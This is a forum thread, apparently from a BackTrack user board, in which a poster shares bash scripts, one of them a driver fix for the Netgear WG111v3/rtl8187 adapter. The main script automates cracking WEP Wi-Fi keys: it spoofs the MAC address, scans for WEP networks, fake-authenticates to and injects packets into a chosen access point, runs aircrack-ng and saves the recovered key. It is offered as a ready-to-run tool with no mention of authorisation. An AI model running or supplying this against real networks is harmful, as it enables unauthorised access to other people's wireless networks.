Results 1 to 2 of 2

Thread: WG111V3 and rtl8187 drivers

  1. #1
    Just burned his ISO
    Join Date
    Mar 2012
    Posts
    2

    Default WG111V3 and rtl8187 drivers

    What this does is automate the entire aircrack-ng process down to pasting the bssid number and spoofing the mac address , it also puts the interface into monitor mode and if you have a wg111v3 like me it fixes the rtl8187 bug in vmware I did not write this only modified it from about 3 other bash scripts its messy and sometimes you have to run it 2-3 times to get it to work right, that being said here is the code. you have to save one as rtl8187 the other as 111 in the root folder
    i tried to allow for naming which adapter you wanted to use by using the read InterfaceName and adding the the flag $InterfaceName into the script but it seemed to make it throw errors more often than not so i took it out
    rtl8187
    Code:
    #!/bin/bash
    
    echo -e "----------------------------\033[38;5;148m*<*))))>< h**k3dfi5h\033[39m----------------------------------------"
    echo -e "\033[03;5;148m*script modified by h**k3dfi5h to automate the process and fix the rtl8187 issue on bt5 *\033[39m"
    echo -e "----------------------------\033[38;5;148m*<*))))>< h**k3dfi5h\033[39m----------------------------------------"
    
    sleep 5
    echo "[+] Looking for compatable adapters to run with aircrack-ng if the list 
    below is empty please type exit and plug in your compatable adapter then run 
    me again (or your adapter is not compatable)"
    echo ""
    
    airmon-ng
    echo ""
    
    echo -e "[+] are you using the netgear wg111v3 adapter with rtl8187 driver?  y/n \c"
    read drivyn
    if [ $drivyn = "y" ] ; then
                ./111
                
                
           echo ""
    else
    	echo -e ""  &
    fi
    
    
    clear
    echo "spoofing your mac"
    macchanger --mac 00:01:02:03:04:05 wlan1
    	
    sleep 3
    
    echo "[+] Starting Airodump to scan for Access Points....."
    sleep 2
    clear
    airodump-ng --encrypt WEP wlan1
    echo -e "[+] Which BSSID do you want to crack?: \c"
    read mac1
    echo -e "[+] Channel number?: \c"
    read chan1
    echo -e "[+] ESSID?: \c"
    read essid
    echo -e "[+] time in seconds to wait before ending (example:  2min= 120 4min= 240 8 min= 480 5 mins is what is suggested)?: \c"
    read time 
    clear
    sleep 2
    echo "[+] Deleting old temp files..."
    cd /root/Desktop/tmp
    rm *.ivs
    rm *.cap
    echo "[+] Starting Airodump..."
    xterm -e airodump-ng -w /root/Desktop/tmp/tmp --bssid $mac1 -c $chan1 wlan1 --ivs &
    sleep 5
    echo "[+] Starting Aireplay to fakeauth with the access point..."
    xterm -e aireplay-ng -1 0 -a $mac1 -h 00:01:02:03:04:05 -e $essid wlan1 &
    sleep 5
    echo "[+] Starting Aireplay to inject packets..."
    sleep 2 
    xterm -e aireplay-ng -3 -b $mac1 wlan1 &
    echo "[+] Aircrack-ng will start shortly..."
    sleep $time
    echo "[+] 3"
    sleep 1 
    echo "[+] 2"
    sleep 1
    echo "[+] 1"
    sleep 1
    clear
    touch /root/Desktop/tmp/info.txt
    chmod 777 /root/Desktop/tmp/info.txt
    aircrack-ng /root/Desktop/tmp/*.ivs
    aircrack-ng /root/Desktop/tmp/*.ivs > /root/Desktop/tmp/info.txt
    echo "[+] Stopping packet injection..."
    killall aireplay-ng
    sleep 1
    echo "[+] Stopping airodump..."
    killall airodump-ng
    sleep 1
    ifconfig wlan1 down
    iwconfig wlan1 mode managed
    ifconfig wlan1 up
    echo -e "[+] Monitor mode disabled on wlan1.."
    sleep 2
    echo -e "[+] Do you want to save all the captured data? y/n \c"
    read saveyn
    if [ $saveyn = "n" ]; then
    	echo -e "[+] Deleting temp files.."  &
    	cd /root/Desktop/tmp
    	rm *.*
    else
    	cd /root/Desktop
    	mkdir $mac1
    	chmod 777 $mac1
    	mv /root/Desktop/tmp/*.* /root/Desktop/$mac1/
    	grep BSSID /root/Desktop/$mac1/info.txt >> /root/Desktop/$mac1/key.txt
    	grep WEP /root/Desktop/$mac1/info.txt >> /root/Desktop/$mac1/key.txt
    	echo "" >> /root/Desktop/$mac1/key.txt
    	echo "KEY" >> /root/Desktop/$mac1/key.txt
    	echo "" >> /root/Desktop/$mac1/key.txt
    	grep FOUND! /root/Desktop/$mac1/info.txt |cut -d\  -f4 >> /root/Desktop/$mac1/key.txt
    	rm /root/Desktop/$mac1/info.txt
    	echo -e "[+] Data saved in $mac1 folder."
    	echo -e "[+] The key is stored in key.txt"
    	
    fi
    sleep 2
    echo "[+] All Finished, Now **** Off."
    echo ""
    exit
    111
    Code:
    #!/bin/bash
    echo removeing rtl8187 module
    rmmod rtl8187
    rfkill block all
    rfkill unblock all
    echo adding rtl8187 module
    modprobe rtl8187
    rfkill unblock all
    echo "standby one min while the interface is brought up and put down again to fix the issue with the rtl8187 driver you may have to run this  a couple times "
    ifconfig wlan1 up
    sudo ifconfig wlan1 down
    echo change to monitor mode
    iwconfig wlan1 mode monitor

  2. #2
    Just burned his ISO
    Join Date
    Mar 2012
    Posts
    2

    Default Re: WG111V3 and rtl8187 drivers

    to use this place both files in your root folder and open a console then type
    Code:
    ./rlt8187

Similar Threads

  1. rtl8187 drivers channel problem
    By TiT_JoW in forum Beginners Forum
    Replies: 2
    Last Post: 10-17-2010, 11:58 AM
  2. Replies: 1
    Last Post: 10-02-2010, 08:07 AM
  3. Got my ATI drivers working but no WIFI (RTL8187) and need help with kernel
    By phil128 in forum OLD BT3beta NON-WORKING HARDWARE
    Replies: 2
    Last Post: 03-16-2008, 06:23 PM
  4. drivers rtl8187 in live cd
    By bertje in forum OLD Newbie Area
    Replies: 1
    Last Post: 02-07-2008, 11:00 AM
  5. newbie question RTL8187 V5 Drivers
    By stuartdb in forum OLD Newbie Area
    Replies: 0
    Last Post: 09-30-2007, 05:42 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •